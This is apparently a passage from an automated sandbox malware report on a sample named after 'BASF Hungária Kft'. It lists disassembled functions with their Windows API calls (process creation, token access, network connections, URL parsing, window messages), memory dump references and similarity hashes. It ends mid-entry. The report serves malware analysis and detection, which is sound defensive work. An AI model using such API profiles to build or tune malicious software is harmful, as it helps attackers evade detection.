                                                              Function 00788B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,000000B0,?,?), ref: 00788B61
                                                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00788B73
                                                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00788B89
                                                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00788BA4
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend
                                                              • String ID:
                                                              • API String ID: 3850602802-0
                                                              • Opcode ID: edd0008a04626a5eb79c6ac005bfcde0a6ef73fe646941b27a8cf4735f844f52
                                                              • Instruction ID: e79216dd57fada431d8be6e01ec8dc61f9e4ed93837348d93291a3e8d0d6c863
                                                              • Opcode Fuzzy Hash: edd0008a04626a5eb79c6ac005bfcde0a6ef73fe646941b27a8cf4735f844f52
                                                              • Instruction Fuzzy Hash: 65115EB9941218FFDB11DFA5CC84F9DBB74FB48710F204095E900B7290DA716E10DB94
                                                              Function 00731290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00732612: GetWindowLongW.USER32(?,000000EB), ref: 00732623
                                                              • DefDlgProcW.USER32(?,00000020,?), ref: 007312D8
                                                              • GetClientRect.USER32(?,?), ref: 0076B5FB
                                                              • GetCursorPos.USER32(?), ref: 0076B605
                                                              • ScreenToClient.USER32(?,?), ref: 0076B610
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Client$CursorLongProcRectScreenWindow
                                                              • String ID:
                                                              • API String ID: 4127811313-0
                                                              • Opcode ID: 1233403e9f3b941ae567975276a306e4c183141f0e5f153bb29e48a73b1db2d9
                                                              • Instruction ID: 08208e0fd6f8fc0b0f0ca738ca8f51c8a812a35158a4939adc5ecdeccd097a34
                                                              • Opcode Fuzzy Hash: 1233403e9f3b941ae567975276a306e4c183141f0e5f153bb29e48a73b1db2d9
                                                              • Instruction Fuzzy Hash: 6C111635A00019EBDB10EF98D8899EE77B8FB05300F804565FA41E7242C738BA51CBA9
                                                              Function 0078D831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 0078D84D
                                                              • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 0078D864
                                                              • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 0078D879
                                                              • RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 0078D897
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Type$Register$FileLoadModuleNameUser
                                                              • String ID:
                                                              • API String ID: 1352324309-0
                                                              • Opcode ID: 0bfa6f9039f33b9f9361285bf121c0b7a85b370cc423e106c722637b14601fef
                                                              • Instruction ID: 2aa416056b31ed03be234eb3938ecb15966e41427b2ad0d402c5c5b608e6da18
                                                              • Opcode Fuzzy Hash: 0bfa6f9039f33b9f9361285bf121c0b7a85b370cc423e106c722637b14601fef
                                                              • Instruction Fuzzy Hash: 4F1161B5645304EBE330AF51DC08F97BBBCEB00B10F108569E516D6090D7B8E949ABA1
                                                              Function 00766FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                              • String ID:
                                                              • API String ID: 3016257755-0
                                                              • Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                                              • Instruction ID: 2cea45afdb0f0d82210b3531bcb38cfc78f580552a653eac8cbba980487f5742
                                                              • Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                                              • Instruction Fuzzy Hash: 61014B7244814ABBCF1A5E84CC05CEE3F62BB18399B588455FE1A98031D23AC9B1EB91
                                                              Function 007BB2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindowRect.USER32(?,?), ref: 007BB2E4
                                                              • ScreenToClient.USER32(?,?), ref: 007BB2FC
                                                              • ScreenToClient.USER32(?,?), ref: 007BB320
                                                              • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 007BB33B
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ClientRectScreen$InvalidateWindow
                                                              • String ID:
                                                              • API String ID: 357397906-0
                                                              • Opcode ID: 1768d1364cf5199b18b484b2d816885610e9101d3400af4cb6b28ab3f0ab30af
                                                              • Instruction ID: 09a1426fd6f4415c2473385b915176efb2a53b20d83a1ddf676e903d5b9239ee
                                                              • Opcode Fuzzy Hash: 1768d1364cf5199b18b484b2d816885610e9101d3400af4cb6b28ab3f0ab30af
                                                              • Instruction Fuzzy Hash: 751144B9D00209EFDB41CFA9C884AEEBBF9FF08314F108166E914E3220D775AA558F54
                                                              Function 007BB635 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 007BB644
                                                              • _memset.LIBCMT ref: 007BB653
                                                              • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,007F6F20,007F6F64), ref: 007BB682
                                                              • CloseHandle.KERNEL32 ref: 007BB694
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memset$CloseCreateHandleProcess
                                                              • String ID:
                                                              • API String ID: 3277943733-0
                                                              • Opcode ID: 14637baa2a88c60bc3b987affde9990ff86f12ce5a9ad5ece0f43dda8c1efa19
                                                              • Instruction ID: add703498ad70044d30b228ae130a929cf7b1281bc2ac39087590106b9971042
                                                              • Opcode Fuzzy Hash: 14637baa2a88c60bc3b987affde9990ff86f12ce5a9ad5ece0f43dda8c1efa19
                                                              • Instruction Fuzzy Hash: A6F0DAB2640304BBE2102765BC0AFBB7BDCEB09795F048025FA08E6192D7BA5C10C7AC
                                                              Function 00796BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • EnterCriticalSection.KERNEL32(?), ref: 00796BE6
                                                                • Part of subcall function 007976C4: _memset.LIBCMT ref: 007976F9
                                                              • _memmove.LIBCMT ref: 00796C09
                                                              • _memset.LIBCMT ref: 00796C16
                                                              • LeaveCriticalSection.KERNEL32(?), ref: 00796C26
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CriticalSection_memset$EnterLeave_memmove
                                                              • String ID:
                                                              • API String ID: 48991266-0
                                                              • Opcode ID: efc34cd2bada9b53fb54b34fef95c15a4d58301f842b76679b5cfb831bce18f9
                                                              • Instruction ID: 0aa612dc4a86dd1b31c3301f1399fecffeae0bd51ff9eb61a34e366df8f61e73
                                                              • Opcode Fuzzy Hash: efc34cd2bada9b53fb54b34fef95c15a4d58301f842b76679b5cfb831bce18f9
                                                              • Instruction Fuzzy Hash: 8DF0543A200100BBCF056F95EC89E8ABB29EF45321F04C065FE089E227C775E811CBB4
                                                              Function 00732218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetSysColor.USER32(00000008), ref: 00732231
                                                              • SetTextColor.GDI32(?,000000FF), ref: 0073223B
                                                              • SetBkMode.GDI32(?,00000001), ref: 00732250
                                                              • GetStockObject.GDI32(00000005), ref: 00732258
                                                              • GetWindowDC.USER32(?,00000000), ref: 0076BE83
                                                              • GetPixel.GDI32(00000000,00000000,00000000), ref: 0076BE90
                                                              • GetPixel.GDI32(00000000,?,00000000), ref: 0076BEA9
                                                              • GetPixel.GDI32(00000000,00000000,?), ref: 0076BEC2
                                                              • GetPixel.GDI32(00000000,?,?), ref: 0076BEE2
                                                              • ReleaseDC.USER32(?,00000000), ref: 0076BEED
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                                              • String ID:
                                                              • API String ID: 1946975507-0
                                                              • Opcode ID: d23ccc99100474102baa55e9915cc138d5703fd97ec512511d72d349fe939d35
                                                              • Instruction ID: 39912f9e7f109a23093039ecf2eb65dccc4a7f494c633bf7f85a0fe5c01c068c
                                                              • Opcode Fuzzy Hash: d23ccc99100474102baa55e9915cc138d5703fd97ec512511d72d349fe939d35
                                                              • Instruction Fuzzy Hash: 03E06D32104248EAEF215FA8FC0DBD83F10EB06732F00C366FA69980F1877A4990DB12
                                                              Function 00788712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentThread.KERNEL32 ref: 0078871B
                                                              • OpenThreadToken.ADVAPI32(00000000,?,?,?,007882E6), ref: 00788722
                                                              • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,007882E6), ref: 0078872F
                                                              • OpenProcessToken.ADVAPI32(00000000,?,?,?,007882E6), ref: 00788736
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CurrentOpenProcessThreadToken
                                                              • String ID:
                                                              • API String ID: 3974789173-0
                                                              • Opcode ID: de15035a647d4b61667a0096b7ece7cdaade3f6f926f7ca2655b4bf67292c4c7
                                                              • Instruction ID: f0abf7e0ccf6f1bec2d1b7192175da2d98fc465d41ab4247993354526c338f48
                                                              • Opcode Fuzzy Hash: de15035a647d4b61667a0096b7ece7cdaade3f6f926f7ca2655b4bf67292c4c7
                                                              • Instruction Fuzzy Hash: D6E08636655211ABD7606FF05D0CF963BBCEF54B91F14C828F245CA050DA3C8441C755
                                                              Function 00736240 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: %|
                                                              • API String ID: 0-1433500012
                                                              • Opcode ID: c89abe85fb90e9c34d263e214d4bd1907ed0e1cac9e4a95e08887104031bf5c7
                                                              • Instruction ID: 64715360b80b480ebf2eff0aece2051a4e6cab3dae0f4c808ba2ca20e5769fca
                                                              • Opcode Fuzzy Hash: c89abe85fb90e9c34d263e214d4bd1907ed0e1cac9e4a95e08887104031bf5c7
                                                              • Instruction Fuzzy Hash: D3B17F71D00109EAEF24EF94C8859FEBBB5FF44310F548126E952A7193EB389E85CB91
                                                              Function 0079AFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0074FC86: _wcscpy.LIBCMT ref: 0074FCA9
                                                                • Part of subcall function 00739837: __itow.LIBCMT ref: 00739862
                                                                • Part of subcall function 00739837: __swprintf.LIBCMT ref: 007398AC
                                                              • __wcsnicmp.LIBCMT ref: 0079B02D
                                                              • WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0079B0F6
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
                                                              • String ID: LPT
                                                              • API String ID: 3222508074-1350329615
                                                              • Opcode ID: 005d30c714a74a234420d7bcb2c7c2f350dafc169dd663b6fb25646e981675f9
                                                              • Instruction ID: 2ebc0d6a61dd3b716af328c5d50898833ddde6557a3d5592930a65a21b782b5c
                                                              • Opcode Fuzzy Hash: 005d30c714a74a234420d7bcb2c7c2f350dafc169dd663b6fb25646e981675f9
                                                              • Instruction Fuzzy Hash: 3D61BF75A00218EFCF14DF98E995EAEB7B4EF08310F004069F916AB391D778AE40CB50
                                                              Function 00742957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • Sleep.KERNEL32(00000000), ref: 00742968
                                                              • GlobalMemoryStatusEx.KERNEL32(?), ref: 00742981
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: GlobalMemorySleepStatus
                                                              • String ID: @
                                                              • API String ID: 2783356886-2766056989
                                                              • Opcode ID: 8170f2e6bdb091f7c1bf5e18878182926d62a5b51a8b40859cfd772278b4bb37
                                                              • Instruction ID: 53ccd2f3b99b88268ea9bf9a4947299fb6b52ea7a62942d167dbf60886d6ba6a
                                                              • Opcode Fuzzy Hash: 8170f2e6bdb091f7c1bf5e18878182926d62a5b51a8b40859cfd772278b4bb37
                                                              • Instruction Fuzzy Hash: 455125724187449BE320EF10D88ABAFBBF8FB85344F41885DF2D8411A2DB759529CB66
                                                              Function 00799734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00734F0B: __fread_nolock.LIBCMT ref: 00734F29
                                                              • _wcscmp.LIBCMT ref: 00799824
                                                              • _wcscmp.LIBCMT ref: 00799837
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _wcscmp$__fread_nolock
                                                              • String ID: FILE
                                                              • API String ID: 4029003684-3121273764
                                                              • Opcode ID: 06c57d546b4e3f4abec3e824c3f997bb95c25eaf5fea2f4d8496df180303d0cd
                                                              • Instruction ID: 153f07142bf30b1a883f3b018cff0bc530463de53fd847ef5f7bf97edce67361
                                                              • Opcode Fuzzy Hash: 06c57d546b4e3f4abec3e824c3f997bb95c25eaf5fea2f4d8496df180303d0cd
                                                              • Instruction Fuzzy Hash: 3D41D971A0020ABAEF249AA5DC49FEFB7BDDF85714F10046DFA04A7181DA79A9048B61
                                                              Function 007A258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 007A259E
                                                              • InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 007A25D4
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CrackInternet_memset
                                                              • String ID: |
                                                              • API String ID: 1413715105-2343686810
                                                              • Opcode ID: 9758017b2794c85cd940502fb2c91709ee75afafbd5bf6aec2042c7373608c2d
                                                              • Instruction ID: 456bf98a8505b556b4c4da6b5e300fe3e5cbdc639799ed04e25910a09305ff28
                                                              • Opcode Fuzzy Hash: 9758017b2794c85cd940502fb2c91709ee75afafbd5bf6aec2042c7373608c2d
                                                              • Instruction Fuzzy Hash: 333137B1801119EBDF15EFA4CC89EEEBFB8FF09300F100159F914B6162EA395916DB60
                                                              Function 007B7A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,00001132,00000000,?), ref: 007B7B61
                                                              • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 007B7B76
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend
                                                              • String ID: '
                                                              • API String ID: 3850602802-1997036262
                                                              • Opcode ID: bd4a7612b120c28306d54c40555aef747c47013e3745d188801be96db25dc751
                                                              • Instruction ID: 66b06700084c8533edc8e2584ac5da58213ea5d4cb0cae69430b25796d28f333
                                                              • Opcode Fuzzy Hash: bd4a7612b120c28306d54c40555aef747c47013e3745d188801be96db25dc751
                                                              • Instruction Fuzzy Hash: 1D41F874A0520ADFDB58CF68C981BEABBB5FF48310F10416AE905EB391D774AA51CF90
                                                              Function 007B6A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DestroyWindow.USER32(?,?,?,?), ref: 007B6B17
                                                              • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 007B6B53
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$DestroyMove
                                                              • String ID: static
                                                              • API String ID: 2139405536-2160076837
                                                              • Opcode ID: 4b46f2336ceb1e8d9924911fa7cc7620d15a5bce0ba16ad84acac18301b656eb
                                                              • Instruction ID: 87c3cd243cf77d4741ac45c6eef0a9645c43247a176d28a6c3fcd94ba68da77f
                                                              • Opcode Fuzzy Hash: 4b46f2336ceb1e8d9924911fa7cc7620d15a5bce0ba16ad84acac18301b656eb
                                                              • Instruction Fuzzy Hash: AA3190B1210604AEEB109F68CC50BFB73B9FF48760F108619FAA9D7190DA79AC51C760
                                                              Function 007928A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 00792911
                                                              • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 0079294C
                                                              Strings
                                                              Memory Dump Source
